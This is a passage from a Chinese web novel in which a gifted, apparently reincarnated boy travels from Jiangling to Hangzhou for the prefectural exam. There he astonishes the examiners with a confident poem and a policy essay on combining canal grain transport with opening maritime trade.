“我原以为,林家府学能教你为文之法,应试之巧,便已是幸事。却不曾想,你竟能自己悟到这一层!” 他摇着头,满脸的感慨与欣慰。 “看来,我与林三爷,都小觑了你。你的心,比我们想的,要大得多,也看得远得多。” 考教至此,已无需再问。 赵夫子脸上的神情变得郑重起来,他看着陆明渊,沉声道。 “明渊,我今日来,不只是为了看你,更是为了一件关乎你前程的大事。” “府试在即,以你如今的才学,过,是必然的。甚至夺魁,也大有希望。” “但是,” 赵夫子话锋一转,声音压低了几分。 “我要与你说的,不是经义文章,而是府试的注意事项。” 第069章 杭州府,我来了 陆从文与王氏夫妇二人,几乎不敢相信自己的耳朵。 他们看着赵夫子怀中那个尚在懵懂,嘴角还沾着一粒米饭的小儿子,又看了看夫子那张无比郑重的脸,一时间竟有些手足无措。 收徒,而且是关门弟子! 这意味着什么,他们再清楚不过。 这是要将陆明泽视若己出,将毕生所学尽数传授! 陆明渊已是赵夫子最得意的门生,如今,竟连三岁的明泽也要被收入门下? 陆家何德何能,能得夫子如此青眼! 王氏激动得眼眶泛红,嘴唇翕动了几下,却说不出一句完整的话来。 还是陆从文先反应过来,他猛地站起身,因为太过激动,险些碰翻了身前的酒杯。 “夫子……夫子此言当真?” 他声音颤抖,带着一丝难以置信的沙哑。 赵夫子哈哈大笑,声如洪钟,将怀中的陆明泽轻轻颠了颠,笑道。 “君子一言,快马一鞭!老夫这辈子,还没说过戏言!” 他看着陆从文夫妇,再次郑重道。 “这孩子,是一块未经雕琢的璞玉,其光华内蕴,远胜常人。” “老夫见猎心喜,实不忍其蒙尘。你们若信得过老夫,便将他交给我。” “我不敢保证他日后定能封侯拜相,但至少,我能为他铺好一条通往学问殿堂的康庄大道!” “三甲进士,必定有他一席之地!” 话已至此,再无犹豫。 陆从文与王氏对视一眼,看到了彼此眼中的狂喜与感激。 二人齐齐起身,对着赵夫子,便要行跪拜大礼。 “使不得,使不得!” 赵夫子连忙抱着孩子侧身避开,“你们这是要折煞老夫了!快起来!” 一顿晚饭,因这桩意外之喜,吃得是宾主尽欢,其乐融融。 三人都不知道,日后的一门双状元,竟然是因为一顿寻常不过家宴! 若是让他人知道了,只怕是要惊掉下巴! 饭后,王氏手脚麻利地收拾了碗筷,陆从文则陪着赵夫子在院中闲谈。 陆明渊将弟弟哄睡之后,便回到了自己那间简陋的书房,点亮了油灯,继续温习功课。 夜色渐深,一轮明月挂在梢头,清辉如水,洒满小院。 赵夫子与陆从文告辞,却并未直接离去,而是踱步来到了陆明渊的书房外。 窗纸上,映出一个少年挺拔的剪影,正伏案疾书。 那身影沉静如山,笔走龙蛇,带着一股与年龄不符的沉稳与专注。 赵夫子没有出声打扰,只是静静地站在窗外,负手而立,浑浊的眼眸中,映着那豆昏黄的灯火,满是欣赏与欣慰。 直到陆明渊写完最后一笔,搁下毛笔,轻轻舒了一口气,赵夫子才轻咳一声,推门而入。 “夫子。” 陆明淵连忙起身行礼。 “坐吧。” 赵夫子摆了摆手,径直走到书桌前,拿起那篇刚刚写就的策论文章,借着灯火仔细端详起来。 书房内一时寂静无声,只有灯芯偶尔发出的“噼啪”轻响。 陆明渊的心,也随着夫子的目光在纸上游走而微微提了起来。 良久,赵夫子才缓缓放下文章,点了点头,脸上露出了满意的笑容。 “不错,大有长进。” 他先是赞了一句,随即又伸出手指,点在文章的几个字上。 “这篇文章,立论高远,论据详实,落脚处也颇为务实,可见我白日里的话,你是真的听进去了。只是这书法……” 他顿了顿,目光变得有些复杂,既有赞叹,又有几分惊疑。 “你的字,笔力沉稳,筋骨已现,尤其是这几个转折之处,力道拿捏得恰到好处,已隐隐有了几分大家风范。” “若是不知情的人看了,定会以为是浸淫书法十余年的老手所书,谁能想到,你满打满算,习字不过两个月光景。” 赵夫子的语气中充满了感慨。 “这等天赋,当真是羡煞旁人。有此文采,再配上这手足以让考官赏心悦目的字,府试……稳了!” 最后三个字,他说得斩钉截铁,掷地有声! 陆明渊心中激荡,面上却依旧保持着谦逊,再次躬身一揖。 “学生定不负夫子厚望!” —— 翌日清晨,天刚蒙蒙亮,鸡鸣声划破了陆家村的宁静。 赵夫子在一片晨雾中,心满意足地踏上了返回村塾的路。 而陆明渊则在辞别了父母之后,脚步轻快地赶往了林家府学。 今日,是府学集结的日子。 宽阔的演武场上,早已聚集了百余名即将赶赴杭州参加府试的学子。 他们或三五成群,低声交谈,或独自静立,神情肃穆。 空气中弥漫着一股紧张与期待交织的复杂气息。 府学的山长,一位年过半百的老夫子,正站在高台之上,朗声宣布着前往杭州的安排。 “诸位学子,府试在即,路途遥远,学府已为诸位做好了安排。” “其一,家境宽裕、或有家人陪同者,可自行前往杭州府。只需在开考前三日,抵达杭州城内的‘聚贤客栈’,与大部队会合即可。” “其二,愿意统一行动的学子,可随我林家商队一同出发。商队今日午时便起程,一路车马食宿皆有安排,路上行程三日,抵达杭州后,尚有两三日时间,可供诸位调整状态,适应水土。” 话音刚落,下方的学子们便议论纷纷。 一些衣着光鲜、一看便知是富家子弟的学子,脸上露出轻松的神色,显然是选择了第一种方案。 自行前往,意味着更加自由,不受约束,甚至可以在途中游山玩水,附庸一番风雅。 而像陆明渊这般出身寒门的学子,则大多毫不犹豫地选择了后者。 跟着林家的商队,虽然少了几分自由,但胜在安稳。 这个时代,长途跋涉并非易事,路上不仅有舟车劳顿之苦,更有可能遇上盗匪流寇。 有林家这样的大商队护送,无疑是最为稳妥的选择。 陆明渊站在人群中,神色平静,心中早已做出了决定。 —— 决定之后,学子们便各自散去,回家准备行装。 陆明渊回到家中,王氏早已在等着他了。 “明渊,快,娘都给你准备好了。” 王氏将一个早已打包好的青布包裹递给他。包裹不大,却被塞得鼓鼓囊囊。 “里面是五件换洗的衣裳,都是娘新给你做的。还有你平日里最爱看的几本书,路上解闷用。” 她一边说,一边又从怀里掏出一个沉甸甸的钱袋,不由分说地塞进陆明渊手中。 “这里是二十两银子,你拿着,出门在外,万事都要用钱。千万别省着,该花的就花,别委屈了自己。” 二十两银子,对于如今的陆家而言,已是一笔巨款。 陆明渊知道,这必然是母亲将压箱底的积蓄都拿了出来。 他心中一暖,正要推辞,王氏却仿佛看穿了他的心思。 王氏拉过他的手,将钱袋小心翼翼地放进他的内衫口袋,然后取过针线,竟是要将口袋的边缘缝上几针。 “娘,这是做什么?” 陆明渊有些哭笑不得。 “你这孩子,不懂!” 王氏白了他一眼,手上动作却不停,细密的针脚飞快地落下。 “财不露白,这银子缝在里衣,贴身放着,最是稳妥,省得路上出了什么意外,被那起子毛贼给摸了去。” 母亲的爱,便藏在这细细的针脚里,藏在这絮絮叨叨的叮咛中。 “到了杭州,要按时吃饭,别只顾着读书,把身子熬坏了。” “天气转凉了,夜里睡觉一定要盖好被子,莫要着凉。” “在外头,不比在家里,凡事多忍让,莫要与人争强斗狠……” 王氏的叮嘱,一句接着一句,仿佛永远也说不完。 直到陆明渊无奈地指了指窗外的天色,轻声提醒道。 “娘,时辰快到了,再不走,要赶不上商队了。” 王氏的话音戛然而止,眼圈却瞬间红了。 她强忍着泪水,最后为儿子整理了一下衣领,声音哽咽道。 “去吧,去吧……路上……万事小心。” —— 午时,江陵县城门口。 林家的商队如一条长龙,缓缓驶出城门。 数十辆马车满载货物,前后皆有手持刀兵的护卫,气势不凡。 陆明渊和数十名寒门学子,被安排在中间几辆相对舒适的马车上。 他掀开车帘,回望那座熟悉的城楼。 城门下,一个瘦弱的身影,正痴痴地望着这边。 是母亲王氏。 她终究还是不放心,一路跟着来到了城门口送别。 远远的,陆明渊看到她抬起袖子,不停地擦拭着眼角。 他心中一酸,喉头有些发紧。 就在这时,一个高大的身影走到了王氏身边,将她轻轻揽入怀中。是父亲陆从文。 他笨拙地拍着妻子的后背,嘴里似乎在说着什么安慰的话。 “别哭了,别哭了……孩子大了,总要出去闯的。” “你放心,有林家府学的夫子们跟着,还有那么多护卫,没事儿的,定能平平安安的。” 在丈夫的安抚下,王氏的情绪似乎渐渐平复了一些。 她最后朝着车队的方向,用力地挥了挥手,然后便被陆从文半搂半扶着,转身向城内走去。 车轮滚滚,载着少年的梦想,驶向那更为广阔的天地。 陆明渊放下车帘,隔绝了身后的目光,也隔绝了心中的那一丝离愁别绪。 他靠在车壁上,闭上了眼睛。 杭州府,我来了。 第070章 文章天成,妙手偶得 轮滚滚,碾过青石官道,带起的不再是乡野的尘土,而是江南水气氤氲的气息。 马车驶入杭州城门的那一刻,仿佛从一幅淡雅的水墨画,一头撞进了一卷色彩绚烂的富丽长轴之中。 喧嚣声浪扑面而来,吴侬软语的叫卖,穿梭如织的人流,雕梁画栋的飞檐,以及空气中若有若无的桂花与脂粉香气,共同交织成这座人间天堂独有的繁华。 陆明渊坐在车中,心境却未被这繁华所动,依旧澄澈如镜。 他知道,这片锦绣之下,埋藏着无数读书人的梦想与枯骨。 这里是天堂,亦是龙门。 林家的商队在城中穿行,最终停在了一家名为“聚贤客栈”的门前。 这客栈三层高楼,门脸阔气,朱漆大门上悬着一块黑底金字的匾额,笔力雄健,一看便知非是凡品。 门前车水马龙,进出的多是身着长衫的读书人,个个面带矜持,眉宇间却难掩一丝紧张与期盼。 负责带队的林家夫子姓周,是个面容清瘦的中年人。 他清点完人数,便领着众人进了客栈,与掌柜的交涉。 “周夫子,房间都给您留着呢,还是老规矩,天字号的院子。” 掌柜的一脸笑意,很是熟络。 周夫子点了点头,转向一众学子,朗声道。 “诸位,此地便是我等在杭州的落脚之处。府试在即,安心备考为上。” “房钱每日八十文,咱们在此停留五日,共计四百文,也就是……四两银子。” 此言一出,人群中响起一阵细微的抽气声。 四两银子! 对于许多寒门学子而言,这几乎是家中数月的开销。 陆明渊心中亦是微微一动,他感受着内衫口袋里那被母亲缝得密密实实的钱袋,那二十两银子的分量,似乎又重了几分。 江陵县最好的福来客栈,上房也不过每日三十文,这杭州府的物价,果然是另一个天地。 大城市,居之不易。 这无声的门槛,便已将无数人挡在了外面。 众人虽然心疼,却也无人多言,这是通往青云路上的必要花费。 一个个排着队,从周夫子那里领了房间的钥匙。 陆明渊交了钱,领到一把刻着“地字柒号”的铜钥匙,便随着人流上了二楼。 房间不大,一张床,一张桌,一盏灯,陈设简单,却被打扫得一尘不染,推开窗,还能看到客栈后院的一角青竹,倒也清幽。 他将那青布包裹放在床上,并未急着打开,而是将门窗关好,转身又下了楼。 他要去看看这座城,看看这即将决定他命运的考场。 陆明渊独自走在杭州府的街头。 他看到了街边茶楼里,高谈阔论的士子,引经据典,指点江山。 看到了书画铺中,一幅字画动辄数十两银子,却依旧有人一掷千金。 他还看到几个衣衫褴褛的乞儿,缩在墙角,用麻木的眼神望着这不属于他们的繁华。 盛世之下,亦有阴影。这便是真实的人间。 一个时辰后,他准时回到了客栈。 周夫子已在楼下等着,见他回来,点了点头,说道。 “走吧,我带你们去贡院看看,熟悉一下路线,免得到时慌了手脚。” 陆明渊跟在夫子身后,与十几个学子一同,再次走上街头。这一次,目标明确。 杭州贡院坐落在城东,占地极广,四周是三丈高的红墙,墙外有兵丁巡逻,戒备森严。 那巨大的“龙门”紧闭着,门上的铜钉在午后阳光下闪着冷硬的光。 仅仅是站在外面,一股肃杀与庄重之气便扑面而来,让所有学子都不由自主地屏住了呼吸。 这里,便是决定万千读书人命运的所在。 一墙之隔,便是天壤之别。 周夫子仔细地为众人讲解了入场的流程,考生该从哪个门进,随从家人又该在何处等候,事无巨细,一一说明。 陆明渊默默将一切记在心中,将从客栈到贡院的每一条街,每一个转角,都刻印在脑海里。 他从不做没有准备的事,无论是前世,还是今生。 确定一切没有纰漏之后,众人才返回客栈。 接下来的两天,陆明渊便再未踏出房门一步。 他将母亲准备的书籍一一摆在桌上,每日寅时起,亥时末才歇。 窗外的喧嚣,楼下的谈笑,都与他无关。 他的世界里,只剩下圣贤文章,笔墨纸砚。 心神高度凝聚,精神力前所未有地活跃,两世为人的灵魂优势在这一刻体现得淋漓尽致。 他不是在温习,而是在打磨,将自己所有的学识磨成一柄最锋利的剑,等待着出鞘的那一刻。 两天时间,恍如一瞬。 府试之日,天色未明,周夫子便敲响了所有学子的房门。 当他们集结在客栈大堂时,外面的街道上已是人头攒动。 整个杭州府的考生,都像汇入大江的溪流,从四面八方涌向城东的贡院。 贡院之外,真正是人山人海。成千上万的考生与送考的家人,将宽阔的街道挤得水泄不通。 然而,与陆明渊在县试时所见的混乱不同,此地虽人多,却无喧哗。 没有人拥挤推搡,没有人高声起哄,所有人都只是静静地站着,或低声叮嘱,或默默祝祷。 空气中弥漫着一种庄严的寂静,仿佛这是一场盛大的祭典。 陆明渊心中不由感慨。 江陵县,终究是小地方。这杭州府,不愧是省会,百姓的见识与规矩,已然是另一番光景。 这便是教化之功。 一个地方的文风是否昌盛,不只看出了多少才子,更要看这寻常巷陌间的百姓风貌。 院试开始前半个时辰,贡院的侧门缓缓打开。 “考生入场——” 一声悠长的唱喏响起,围观的人群如潮水般向两侧退开,让出一条通往龙门的道路。 周夫子最后一次将众人聚拢,他的神情也带着几分肃穆,沉声道。 “诸位,该说的都已说过。记住,放平心态,就当是平日里的一次测验。文章天成,妙手偶得,莫要强求。” “今年不中,明年再来,只当是积累经验。将你们所学,尽数发挥出来,剩下的,便交给天意吧。” 一番话,说得平实,却让许多紧张的学子心头稍安。 陆明渊站在人群中,神情淡然。 他对着周夫子深深一揖,而后转身,随着人流,迈步走向那扇决定命运的大门。 他的步伐不疾不徐,目光平视前方,在那一瞬间,周围所有的人影与声音都仿佛在远去,他的世界里,只剩下这条通往考场的路。 他来到自己的考棚,一个仅能容身的狭小隔间。 巡考的官差走了过来,面无表情,示意他将考篮中的物品一一取出。 毛笔被掰开检查,看笔杆是否中空;墨台被仔细端详,以防底部刻有夹带。 整个过程一丝不苟,充满了仪式般的严肃。 陆明渊坦然地接受着检查,他的考篮中,只有最简单的文房四宝,清清白白。 官差检查完毕,点了点头,转身走向下一个考棚。 半个时辰,仿佛一个世纪般漫长。 当最后一名考生也检查完毕,贡院的大门“轰”的一声,缓缓关闭,隔绝了内外两个世界。 考场内,数千名考生正襟危坐,鸦雀无声。 就在这时,一阵沉稳的脚步声响起,一名身穿绯色官袍,面容清癯,眼神锐利如鹰的官员,在一众属官的簇拥下,走上了高台。 他便是此次府试的主考官。 主考官的目光缓缓扫过全场,那目光仿佛带着千钧之力,让所有接触到他视线的学子都心头一凛。 最终,他的目光停留在正前方的巨大日晷之上。 当晷针指向卯时正刻的那一刹那,他洪亮而清晰的声音,响彻在贡院的每一个角落。 “开考!” 第071章 好大的口气! “开考——” 两个字,如洪钟大吕,沉沉敲在数千名考生的心上。 贡院内原本压抑到极致的寂静,被一阵细微而密集的“沙沙”声打破。 那是考生们翻动试卷,取出文具的声音,汇成了一股紧张的暗流。 陆明渊没有立刻动笔。 他坐在那方寸之间的考棚里,身姿笔挺如松。 他先是闭上眼,做了一次深长的呼吸,将外界的一切嘈杂与内心的最后一丝波澜尽数吐出,心境重归古井无波。 而后,他才睁开眼,目光落在面前的试卷上。 试卷用的是上好的宣纸,触手温润,墨香清雅。 他伸手,缓缓将试卷展开,动作从容不迫。 目光一扫,心中便有了数。 果然是府试,与县试相比,判若云泥。 试卷分为三部分,帖经、赋诗、策论。 帖经,即默写。 考验的是学子对经义的熟悉程度。 然而这府试的题目,却刁钻至极。 它所截取的段落,并非那些脍炙人口的经典名句,而是藏在经书犄角旮旯里的句子,甚至是某些大儒注疏中的一两句点评。 这对寻常学子而言,无异于沙中淘金,大海捞针。 哪怕你将四书五经背得滚瓜烂熟,稍有疏漏,便会在此处折戟。 人群中,已经有压抑的抽气声和笔尖划破纸张的焦躁声响起。 但陆明渊的眼神,却依旧平静。 这些对别人来说是天堑的题目,于他而言,不过是后花园里熟悉的路径。 两世为人的灵魂,那浩瀚如烟海的精神力,早已将这些典籍化作了他神魂中的烙印,每一个字,每一个标点,都清晰得仿佛昨日才刚刚读过。 他没有急着落笔,而是取过墨锭,在砚台中不疾不徐地研磨起来。 手腕稳定,力道均匀。 墨锭在砚台上盘旋,发出悦耳的“沙沙”声,像是山涧清泉流过石上。 一缕清洌的墨香,渐渐在小小的考棚内弥漫开来。 这是一种仪式,也是一种静心。 一炷香的时间,他将所有默写的内容在脑海中一字不差地过了三遍,确认无一处遗漏。 又用了一炷香的时间,他将墨研得浓稠乌亮,恰到好处。 当他终于提起笔时,整个人的精气神仿佛都凝聚在了笔尖那一点毫芒之上。 蘸墨,落笔。 没有丝毫犹豫,笔走龙蛇,行云流水。 一个个蝇头小楷,便如活过来一般,从笔端流淌到纸上。 字迹工整,结构匀称,笔锋间却又透着一股远超他年龄的沉稳与金石之气。 默写的部分,对他来说不过是热身。 不过一刻钟的功夫,试卷的第一部分便已填得满满当当,无一错漏。 他将试卷轻轻吹干,放在一旁,目光移向了第二题。 赋诗。 题目很简单,只有一个字——“秋”。 秋,是一个被无数文人墨客写了千遍万遍的题目。 写得好了,是锦上添花;写得不好,便是拾人牙慧,落了下乘。 想要在数千份卷子里脱颖而出,便要写出新意,写出气魄。 陆明渊的目光越过考棚的矮墙,望向那一方被割裂的青灰色天空。 秋,是萧瑟,是离别,是丰收,也是肃杀。 但对于此刻坐在龙门之内的读书人而言,秋,是“秋闱”,是“金榜题名”,是一朝闻名天下知的期盼。 无数念头在他脑海中翻涌,最终定格成一股冲霄的豪情。 他要写的,不是文人的悲秋,而是士子的进取! 再次提笔,胸中意气勃发,笔下便有了雷霆万钧之势。 《秋闱抒怀》 金风动玉旒,墨涌九天秋。 笔掷三山外,文成五凤楼。 蟾宫初折桂,云路已驰骝。 莫道青衫薄,今朝第一流! 当最后一个“流”字的捺脚如刀锋般收住,陆明渊缓缓放下了笔。 整首诗,一气呵成。 诗中没有丝毫悲戚之意,反而充满了昂扬的自信与舍我其谁的霸气。 他写得太快了。 从默写到赋诗,他用的时间加起来,也不过一个时辰。 此刻,大多数考生恐怕连默写都还未完成。 他这鹤立鸡群般的进度,自然引起了场中巡考官的注意。 一名年过五旬,头发花白的老巡考员,正迈着不疾不徐的步子在甬道间巡视。 他的眼神早已被几十年的考场生涯磨砺得如鹰隼般锐利,任何一丝异动都逃不过他的眼睛。 陆明渊放下笔的那一刻,他的脚步便是一顿。 这么快? 是胸有成竹,还是自暴自弃? 老巡考员心中存疑,便不动声色地踱了过去,借着巡视的名义,目光状似无意地朝陆明渊的卷面上一扫。 只一眼,他的瞳孔便骤然收缩,那双古井无波的眼睛里,掀起了惊涛骇浪。 首先映入眼帘的,是那手字。 笔力苍劲,铁画银钩,浑然天成! 这绝不是一个十岁孩童能写出的字,这字里,分明藏着一个成年人的风骨与气度! 再看内容,当他看到那首《秋闱抒怀》时,整个人都仿佛被一道惊雷劈中,呆立当场。 “金风动玉旒,墨涌九天秋……” 他无声地咀嚼着诗句,只觉得一股磅礴大气扑面而来。 “笔掷三山外,文成五凤楼……” 好大的口气!这是要将文章写到皇宫里去! 当他看到最后一句“莫道青衫薄,今朝第一流”时,这位见惯了天才与狂士的老人,竟是忍不住倒吸了一口凉气。 狂!太狂了! 但这狂,却不是无知无畏的狂妄,而是建立在绝对才情之上的自信! 此诗,意境、格律、对仗、气魄,无一不是上上之选,足以流传后世! 老巡考员在考场里待了一辈子,见过的好诗佳作不计其数,但能让他如此心神剧震的,这是头一遭。 他的失态,很快便引起了不远处高台上那位监考主官的注意。 那是一位身穿四品官服的中年官员,神情严肃,目光如炬。 他见自己的下属竟在一个考棚前站立良久,神情变幻,心中不禁起了疑。 是有人作弊,还是出了什么别的状况? 他皱了皱眉,走下高台,同样装作巡视考场,缓步朝着陆明渊的方向走来。 “怎么回事?” 他压低声音问道。 老巡考员这才如梦初醒,连忙躬身,用手指了指陆明渊的试卷,嘴唇翕动,却激动得说不出话来。 监考官顺着他的指引看去,目光落在试卷上。 瞬间,他的表情与方才的老巡考员如出一辙。 震惊!无以复加的震惊! 作为此次府试的副主考,他本身便是进士出身,眼界何等之高。 但这首诗,依旧让他感到了惊艳。 不仅仅是诗,还有那手字! 此子才情如此过人,诗词更是意气风发,这分明是为魁首而来! 监考官的目光从试卷上移开,落在了陆明渊的身上。 一个面容清秀,眉宇间带着几分稚气的少年,正襟危坐,神情淡然,似乎对外界的关注浑然不觉。 这少年是谁? 监考官的脑海中迅速闪过杭州府内所有知名的少年才子。 高家的、李家的、张家的……那些被誉为魁首有力竞争者的人,他都见过,却没有一个是眼前这张面孔。 面生得很,显然不是杭州府之人。 一个外地来的考生,竟有如此才华? 监考官的心中掀起一丝波澜。 杭州府文风鼎盛,历年府试的魁首,几乎都被杭州府本地的学子包揽。 难不成,今年的格局要被这个名不见经传的少年打破了? 这个念头一闪而过,他很快又强迫自己冷静下来。 科举,终究不是靠一首诗词就能决定的。 帖经考验的是根基,赋诗展现的是才情,而真正决定高下的,是最后那篇策论。 策论,考的是经世致用之学,是一个读书人对天下大势的洞察,对民生疾苦的关怀,对朝廷政令的理解。 这才是衡量一个士子是否是可造之材的最终标准。 想到这里,监考官的心绪稍稍平复。他轻轻咳嗽了两声,打破了这片刻的凝滞。 “继续巡视,莫要打扰考生。” 他淡淡地吩咐了一句,便转身迈步,继续自己的巡视路线。 只是他的脚步,不自觉地放慢了许多,耳朵也始终留意着身后的动静。 他在等。 等着看这个写出“今朝第一流”的少年,在策论上,又能交出一份怎样惊世骇俗的答卷! 而此刻的陆明渊,对两位考官的内心波澜一无所知,或许,他知道了也并不会在意。 他的目光,已经落在了试卷的最后一部分。 策论。 第072章 不止有才情,更有大局观! 策论。 题目不长,却字字千钧,仿佛能压得人喘不过气来。 《论通漕运、开海禁二策,何者更利东南民生》 其下还有题解,将问题剖析得更为详尽。 杭州府户繁田少,工巧粟匮。 朝堂之上,有两派之争。 一派主张大疏漕运,引江淮之粟以济东南;另一派则力主开放海禁,通南洋贸易以易粮。 二者皆为利国之策,然国力有限,难于并举。 题目要求考生分析二者得失,并最终择一而行,论证其如何能达“粮丰、民富、帑实”三善之境。 这是一道死题,也是一道活题。 说它死,是因为它将漕运与海禁置于对立,逼着考生去做一个非此即彼的选择。 无论选哪一个,都必然有其难以弥补的弊端,极易被人抓住痛脚,批得体无完肤。 说它活,是因为它触及了大乾王朝东南沿海最核心的经济命脉。 若真有经天纬地之才,未尝不能跳出这题目设下的窠臼,提出石破天惊的见解。 考棚之内,气氛愈发凝重。 许多刚刚在诗赋上挥洒完才情的考生,此刻面对这道策论,却是眉头紧锁,如临大敌。 笔尖悬在纸上,迟迟不敢落下。 这不仅仅是考验学识,更是考验一个读书人的眼界、格局与担当。 陆明渊的唇角,却在无人察见的角度,微微勾起了一抹弧度。 这道题,对他而言,简直是量身定做。 漕运与海禁,当真水火不容么? 在他那来自后世的记忆里,无论是煌煌大宋,还是铁血大明,都曾有过将二者结合,相辅相成的辉煌时期。 漕运为骨,海运为翼,方能撑起一个帝国真正的繁华。 强行将其割裂对立,不过是庙堂之上,某些利益集团为了党同伐异而制造出的伪命题。 他的思绪如电光石火般闪过。 赵夫子曾提点过他,当今杭州知府虽是文官出身,却极重实务,最厌恶空谈阔论。 那么,这篇策论的破题之眼,便不在于引经据典,高谈阔论天下大势,而在于……落到实处。 落到这杭州府的一府一地之上! 杭州,南接钱塘,东临大海,更有大运河贯穿南北,是天生的漕运与海运交汇之枢纽。 在这里谈论二者择一,简直是暴殄天物! 一个清晰无比的思路,在他脑海中迅速成型。 不选,我全都要! 不,应该说,漕与海,本就是一体。 他深吸一口气,不再有丝毫迟疑。 那支刚刚写下“今朝第一流”的狼毫笔,再次被他稳稳握住。 不远处,那位副主考官的目光,始终如影随形地落在他身上。 当他看到陆明渊在短暂的思索后,便毅然提笔,心中更是掀起一阵波澜。 是少年意气,不知深浅,还是……胸中真有丘壑? 他按捺不住心中的好奇,脚步轻移,再次不动声色地踱了过去,停在一个既能看清卷面,又不至过分打扰的距离。 只见陆明渊笔尖饱蘸浓墨,悬于卷首,稍作停顿,便悍然落下! 破题,开篇第一句! “漕海之争,非利弊之辨,实为体用之惑。” “臣以为,漕运为国之经络,海运为民之血脉,经络以固本,血脉以活体,二者非但不悖,实乃相辅相成,一体两翼!” 仅仅一句,那位副主考官便觉浑身一震,仿佛有一道电流从天灵盖直贯脚底! 好大的气魄! 满场的考生,都在绞尽脑汁地思考如何从“二选一”中找出最优解。 唯有此子,开篇便直接掀了棋盘,告诉你这题目本身就问错了! 他没有选择站队,而是直接站在了更高的地方,俯瞰全局! 副主考官的呼吸不自觉地屏住了,他死死盯着那支笔,看它如何将这石破天惊的开篇,铺陈成一篇惊世之论。 陆明渊的笔,动了。 他的行文,不再是写诗时的豪迈奔放,而是转为一种沉稳厚重,字字句句,皆如金石落地,掷地有声。 他先论漕运。 “……夫漕运者,国之大计,系太仓之盈亏,关北疆之安危。以江淮之粟济东南,乃固本培元之策,不可一日或缺。” “然浚河之役,累及万民;挽舟之夫,十不存一。此乃以民之血汗,浇灌国之命脉,虽为必须,然非长久之善策……” 他并未否定漕运,而是将其定位在“国家战略安全”的高度,肯定其“固本”的作用,同时又毫不避讳地指出了其“耗费民力”的巨大弊端。 客观,冷静,一针见血。 副主考官看得暗暗点头,这番见解,已经超越了寻常书生,颇有几分朝堂奏对的风采。 紧接着,笔锋一转,陆明渊开始论及海禁。 “……海禁之设,原为防倭寇,绝奸宄。然因噎废食,无异于自断臂膀。” “东南地狭人稠,工商繁盛,所需之粮,所需之料,岂是区区江淮所能尽供?” “南洋有沃土千里,稻米一年三熟;西洋有奇珍百货,可易万金。” “开海禁,则南洋之米可平抑粮价,使百姓不饥;万国之货可流通有无,使工商获利;市舶之税可充盈国库,使朝廷不乏。” “此乃引八方活水,以济东南一隅,乃开源之良方……” 他的论述层层递进,从民生(平粮价)、经济(利工商)、财政(充国库)三个层面,将开海禁的巨大利益剖析得淋漓尽致。 副主考官的眼神,已经从最初的震惊,转为了深深的赞赏。 这少年,不止有才情,更有大局观! 然而,陆明渊的论述并未就此停止。他既然提出了“一体两翼”,自然要给出如何“飞翔”的办法。 这,才是策论真正的核心——解决之道! “……或曰,海贸一开,私贩蜂起,海寇猖獗,如之奈何?此乃治标不治本之忧。” “臣以为,其症结在于‘禁’而不在‘开’。愈禁则利愈厚,愈厚则人愈铤而走险。何不因势利导,变禁为疏?” “策在杭州!当于杭州设‘市舶提举司’,总揽出海诸事。” “凡商民出海,皆需登记在册,领取‘船引’,注明所载货物、前往之地、往返时日。” “回港之后,依货抽分,既为国税。所抽税银,三成留于杭州府,以为修缮港口、兴办水师之用;七成上缴国库。” “如此,则商民循规蹈矩,乐于纳税以求平安;官府有法可依,有兵可用;朝廷税源广进,利国利民……” “再者,可以商制商。允许多家大海商合股成立‘海贸公行’,由市舶司监管,公行内部自立规矩,共担风险,共享利益。” “若有海寇,则公行所属之护卫船队可自行清剿,报官府备桉即可。如此,则不费朝廷一兵一卒,而东南海疆自安……” 看到这里,那位副主考官只觉得头皮一阵发麻! 市舶司!船引!抽分!以商制商! 这……这哪里是一个学子的策论? 这分明是一份可以直接呈送御前,足以改变大乾国策的万言书! 他甚至能想象到,若此策真能推行,杭州,这座本就繁华的城市,将会变成一个怎样吞吐四海财富的庞然大物! 老巡考员也凑了过来,他虽然对这些经世济用之学不如副主考官精通,但也能看出这篇策论的与众不同。 他看着副主考官那张因极度激动而微微涨红的脸,心中只有一个念头: 杭州府,要出真龙了! 陆明渊浑然不觉身后的动静,他已经完全沉浸在了自己的构想之中。 他将漕运与海运的关系,做了最后的总结。 “……是故,漕运如弓,海运如箭。以漕运保腹心之安,是为张弓;以海运拓四海之利,是为射箭。” “弓强箭利,方能威加海内,富甲天下。若杭州能为天下先,行此‘漕海一体’之策,则不出十年,东南财赋,当冠绝大乾!民生之利,何须二选其一?” 当最后一个字落下,陆明渊长长地吁了一口气。 整篇策论,一气呵成,字数堪堪千字,却字字珠玑,逻辑缜密,眼光长远,仿佛不是在纸上谈兵,而是在指点江山。 他将毛笔轻轻搁在笔架上,墨迹未干的卷面上,仿佛有光华在流转。 考棚外,副主考官怔怔地站着,久久无言。 他看着那个端坐于考棚之内,身形尚显单薄的少年,眼神复杂到了极点。 惊艳、赞叹、疑惑,甚至还有一丝……敬畏。 此子,绝非池中之物。 他心中忽然冒出一个荒谬却又无比强烈的念头: 或许,这杭州府乃至整个浙江的文坛格局,从今天起,就要被这个来自江陵县的十岁少年,彻底改写了! “莫道青衫薄,今朝第一流……” 他再次咀嚼起那句诗,只觉得,这已经不是狂,而是……事实。 第073章 府试中榜,已是板上钉钉 “何事喧哗?” 一道沉稳而威严的声音自不远处传来,带着几分不悦。 主考官陈风,端坐于高台之上,目光如炬,扫视着考棚,最终落在了副主考官身上。 他素来治学严谨,不喜考场有半分逾矩。 副主考官如梦初醒,赶紧收敛心神,却掩不住眼底的炽热。 他压低声音,快步走向主考官,低语了几句,神色间难掩惊叹。 陈风起初只是蹙眉,待听到“漕海一体”、“市舶提举司”、“以商制商”等字眼时,那素来波澜不惊的面容,也渐渐泛起了惊涛。 他霍然起身,顾不得考场规矩,大步流星地朝着陆明渊的考棚走去。 他的步伐很急,心跳却更急。 他走到距离陆明渊最近的空位上,目光落在那尚未完全干透的墨迹上,只一眼,便再也挪不开。 “漕海之争,非利弊之辨,实为体用之惑。” “臣以为,漕运为国之经络,海运为民之血脉,经络以固本,血脉以活体,二者非但不悖,实乃相辅相成,一体两翼!” 开篇即破题,高屋建瓴,直接将朝堂上争论不休的伪命题,轻轻巧巧地拨乱反正。 陈风只觉脑海中仿佛有惊雷炸响,眼中精光暴涨。 这绝非寻常考生的见识!这等气魄,这等眼界,便是当朝的大学士,也未必能有如此开阔! 他继续往下看,从漕运之弊,到海禁之害,再到开海之利,环环相扣,层层推进,逻辑严密得如同匠人精工打磨的榫卯结构。 